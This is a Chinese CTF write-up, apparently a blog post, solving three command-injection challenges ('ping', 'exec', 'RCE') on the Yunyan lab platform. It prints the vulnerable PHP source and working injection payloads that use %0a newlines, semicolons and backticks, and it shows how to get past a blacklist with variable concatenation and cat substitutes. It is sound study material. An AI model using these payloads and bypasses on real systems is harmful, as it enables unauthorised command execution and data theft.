刷题——命令执行

命令执行

1、云演平台-ping

命令分隔符

linux系统下: %0a  %0d ; &  && | || 
windows系统下: windows中:%0a、&、|、%1a(.bat文件分隔符)

index.php的内容

<?php
	error_reporting(0);
	// Get input
	if(isset($_GET['ip']))
	{
		$target = $_GET['ip'];
    // var_dump($target);
	$target=trim($target);
	// var_dump($target);
	// Set blacklist
	$substitutions = array(
		'&'  => '',
		';' => '',
		'|' => '',
		'-'  => '',
		'$'  => '',
		'('  => '',
		')'  => '',
		'`'  => '',
		'||' => '',//%0A
	);

	// Remove any of the charactars in the array (blacklist).
	$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    

	// var_dump($target);

	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		
		$cmd = shell_exec( 'ping  ' . $target );
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 1 ' . $target );
	}

	// Feedback for the end user
	echo  "<pre>{$cmd}</pre>";
	
	}
	else{
		echo "please input a get type parameter as ip!!";
	}
	

?>

用%0a绕过对命令分隔符的限制

?ip=127.0.0.1%0als
?ip=127.0.0.1%0acat fL4g_1s_He4r______

2、云演平台-exec

post一个payload

ip=127.0.0.1;cat /flag

3、云演平台-RCE

ls命令看当前目录下文件

在这里插入图片描述

过滤了一些字段

cat flag

想办法绕过

参考https://zhuanlan.zhihu.com/p/391439312

1、拼接绕过过滤cat

cmd=a=c;b=at;$a$b;

2、反引号绕过过滤flag

`ls`;

最终的payload

cmd=a=c;b=at;$a$b `ls`;

贴一些index.php中的源码

<?php
$cmd=$_POST['cmd'];
$blacklist="cat|\/|cd|flag|curl|{|\(|'|\"|echo|\\\\|&|grep|base64";
$arr=explode('|',$blacklist);
foreach ($arr as $key => $value) {
    #var_dump($value);
    if (preg_match("/$value/i", $cmd)) {
        exit('hacker~~~'); 
}
}
system($cmd);


?>

记录一些其他方法

使用空变量KaTeX parse error: Undefined control sequence: \* at position 1: \̲*̲和@, x , x, x,{x}绕过

cmd=a=fla;b=g.php;ca$*t $a$b;

cmd=ca$*t fla$*g.php

使用替代法,代替cat

cmd=vim fla$*g.php  //编辑文件

cmd=more fla$*g.php  //一页一页显示内容

cmd=less fla$*g.php
    
cmd=nl fla$*g.php   //为输出内容加上编号
查看文件及内容处理命令(21 个)
cat全拼 concatenate,功能是用于连接多个文件并且打印到屏幕输出或重定向到指定文件中。
tactac 是 cat 的反向拼写,因此命令的功能为反向显示文件内容。
more分页显示文件内容。
less分页显示文件内容,more 命令的相反用法。
head显示文件内容的头部。
tail显示文件内容的尾部。
cut将文件的每一行按指定分隔符分割并输出。
split分割文件为不同的小片段。
paste按行合并文件内容。
sort对文件的文本内容排序。
uniq去除重复行。oldboy
wc统计文件的行数、单词数或字节数。
iconv转换文件的编码格式。
dos2unix将 DOS 格式文件转换成 UNIX 格式。
diff全拼 difference,比较文件的差异,常用于文本文件。
vimdiff命令行可视化文件比较工具,常用于文本文件。
rev反向输出文件内容。
grep/egrep过滤字符串,三剑客老三。
join按两个文件的相同字段合并。
tr替换或删除字符。
vi/vim命令行文本编辑器。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值